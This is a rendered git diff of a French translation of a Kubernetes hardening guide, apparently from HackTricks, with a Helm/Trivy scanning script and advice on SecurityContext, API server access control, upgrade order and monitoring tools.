|
#!/bin/bash
|
||||||
|
# scan-helm-charts.sh
|
||||||
|
# This script lists all Helm releases, renders their manifests,
|
||||||
|
# and then scans each manifest with Trivy for configuration issues.
|
||||||
|
|
||||||
|
# Check that jq is installed
|
||||||
|
if ! command -v jq &>/dev/null; then
|
||||||
|
echo "jq is required but not installed. Please install jq and rerun."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# List all helm releases and extract namespace and release name
|
||||||
|
echo "Listing Helm releases..."
|
||||||
|
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||||
|
|
||||||
|
# Check if any releases were found
|
||||||
|
if [ ! -s helm_releases.txt ]; then
|
||||||
|
echo "No Helm releases found."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Loop through each Helm release and scan its rendered manifest
|
||||||
|
while IFS=" " read -r namespace release; do
|
||||||
|
echo "---------------------------------------------"
|
||||||
|
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||||
|
# Render the Helm chart manifest
|
||||||
|
manifest_file="${release}-manifest.yaml"
|
||||||
|
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
# Scan the manifest with Trivy (configuration scan)
|
||||||
|
echo "Running Trivy config scan on $manifest_file..."
|
||||||
|
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||||
|
echo "Completed scan for $release."
|
||||||
|
done < helm_releases.txt
|
||||||
|
|
||||||
|
echo "---------------------------------------------"
|
||||||
|
echo "Helm chart scanning complete."
|
||||||
|
```
|
||||||
## Conseils
|
## Conseils
|
||||||
|
|
||||||
### Kubernetes PodSecurityContext and SecurityContext
|
### Kubernetes PodSecurityContext and SecurityContext
|
||||||
|
|
||||||
Vous pouvez configurer le **security context des Pods** (avec _PodSecurityContext_) et des **conteneurs** qui vont être exécutés (avec _SecurityContext_). Pour plus d'informations, lisez :
|
Vous pouvez configurer le **contexte de sécurité des Pods** (avec _PodSecurityContext_) et des **containers** qui vont être exécutés (avec _SecurityContext_). Pour plus d'informations lisez :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
kubernetes-securitycontext-s.md
|
kubernetes-securitycontext-s.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Kubernetes API Hardening
|
### Renforcement de l'API Kubernetes
|
||||||
|
|
||||||
Il est très important de **protéger l'accès au Kubernetes Api Server**, car un acteur malveillant disposant de privilèges suffisants pourrait l'abuser et endommager de multiples façons l'environnement.\
|
Il est très important de **protéger l'accès au Kubernetes Api Server** car un acteur malveillant disposant de privilèges suffisants pourrait l'abuser et endommager l'environnement de nombreuses façons.\
|
||||||
Il est crucial de sécuriser à la fois **l'accès** (**whitelist** des origines pouvant accéder à l'API Server et refus de toute autre connexion) et la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (en suivant le principe du **moindre** **privilège**). Et surtout **ne jamais** **autoriser** **de** **requêtes** **anonymes**.
|
Il est important de sécuriser à la fois **l'accès** (**whitelist** des origines autorisées à accéder à l'API Server et refuser toute autre connexion) et la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (en suivant le principe du **moindre** **privilège**). Et surtout **ne** **laissez** **jamais** **de** **requêtes** **anonymes**.
|
||||||
|
|
||||||
**Processus de requête courant :**\
|
**Processus de requête courant :**\
|
||||||
User ou K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
Utilisateur ou K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||||
|
|
||||||
**Conseils** :
|
**Conseils** :
|
||||||
|
|
||||||
- Fermer les ports.
|
- Fermer les ports.
|
||||||
- Éviter l'accès anonyme.
|
- Éviter l'accès anonyme.
|
||||||
- NodeRestriction ; pas d'accès depuis des nœuds spécifiques à l'API.
|
- NodeRestriction ; pas d'accès depuis des nœuds spécifiques vers l'API.
|
||||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||||
- Empêche essentiellement les kubelets d'ajouter/supprimer/mettre à jour des labels avec le préfixe node-restriction.kubernetes.io/. Ce préfixe d'étiquette est réservé aux administrateurs pour étiqueter leurs objets Node à des fins d'isolation des workloads, et les kubelets ne seront pas autorisés à modifier les labels avec ce préfixe.
|
- Empêche essentiellement les kubelets d'ajouter/supprimer/mettre à jour des labels avec un préfixe node-restriction.kubernetes.io/. Ce préfixe d'étiquette est réservé aux administrateurs pour étiqueter leurs Node objects à des fins d'isolation des workloads, et les kubelets ne seront pas autorisés à modifier les labels avec ce préfixe.
|
||||||
- Et aussi, permet aux kubelets d'ajouter/supprimer/mettre à jour ces labels et préfixes d'étiquettes.
|
- Et aussi, permet aux kubelets d'ajouter/supprimer/mettre à jour ces labels et préfixes d'étiquettes.
|
||||||
- Assurer l'isolation sécurisée des workloads via les labels.
|
- Assurer l'isolation sécurisée des workloads via les labels.
|
||||||
- Empêcher certains pods d'accéder à l'API.
|
- Empêcher l'accès à l'API pour certains pods.
|
||||||
- Éviter l'exposition de l'ApiServer sur Internet.
|
- Éviter l'exposition de l'ApiServer sur Internet.
|
||||||
- Prévenir les accès non autorisés via RBAC.
|
- Éviter l'accès non autorisé via RBAC.
|
||||||
- Sécuriser le port de l'ApiServer avec un firewall et du whitelisting IP.
|
- Port de l'ApiServer protégé par firewall et IP whitelisting.
|
||||||
|
|
||||||
### SecurityContext Hardening
|
### Renforcement de SecurityContext
|
||||||
|
|
||||||
Par défaut, l'utilisateur root sera utilisé lorsqu'un Pod est démarré si aucun autre utilisateur n'est spécifié. Vous pouvez exécuter votre application dans un contexte plus sécurisé en utilisant un template similaire au suivant :
|
Par défaut, l'utilisateur root sera utilisé lorsqu'un Pod démarre si aucun autre utilisateur n'est spécifié. Vous pouvez exécuter votre application dans un contexte plus sécurisé en utilisant un template similaire au suivant :
|
||||||
```yaml
|
```yaml
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
@@ -225,30 +297,30 @@ allowPrivilegeEscalation: true
|
|||||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||||
|
|
||||||
### Renforcement général
|
### Durcissement général
|
||||||
|
|
||||||
Vous devriez mettre à jour votre environnement Kubernetes aussi souvent que nécessaire pour avoir :
|
Vous devriez mettre à jour votre environnement Kubernetes aussi fréquemment que nécessaire pour avoir :
|
||||||
|
|
||||||
- Dépendances à jour.
|
- Dépendances à jour.
|
||||||
- Correctifs de bugs et de sécurité.
|
- Correctifs de bugs et de sécurité.
|
||||||
|
|
||||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Tous les 3 mois il y a une nouvelle version mineure -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Tous les 3 mois il y a une nouvelle version mineure -- 1.20.3 = 1(Majeur).20(Mineur).3(correctif)
|
||||||
|
|
||||||
**La meilleure façon de mettre à jour un cluster Kubernetes est (depuis** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
**La meilleure façon de mettre à jour un Cluster Kubernetes est (d'après** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||||
|
|
||||||
- Mettre à niveau les composants du Master Node dans l'ordre suivant :
|
- Mettre à niveau les composants du Master Node dans l'ordre suivant :
|
||||||
- etcd (toutes les instances).
|
- etcd (toutes les instances).
|
||||||
- kube-apiserver (tous les control plane hosts).
|
- kube-apiserver (tous les hôtes du control plane).
|
||||||
- kube-controller-manager.
|
- kube-controller-manager.
|
||||||
- kube-scheduler.
|
- kube-scheduler.
|
||||||
- cloud controller manager, si vous en utilisez un.
|
- cloud controller manager, si vous en utilisez un.
|
||||||
- Mettre à niveau les composants des Worker Nodes tels que kube-proxy, kubelet.
|
- Mettre à niveau les composants des Worker Node tels que kube-proxy, kubelet.
|
||||||
|
|
||||||
## Surveillance et sécurité Kubernetes :
|
## Kubernetes monitoring & security:
|
||||||
|
|
||||||
- Kyverno Policy Engine
|
- Kyverno Policy Engine
|
||||||
- Cilium Tetragon - Observabilité de sécurité basée sur eBPF et application de politiques à l'exécution
|
- Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
|
||||||
- Network Security Policies
|
- Network Security Policies
|
||||||
- Falco - surveillance et détection de sécurité à l'exécution
|
- Falco - Runtime security monitoring & detection
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user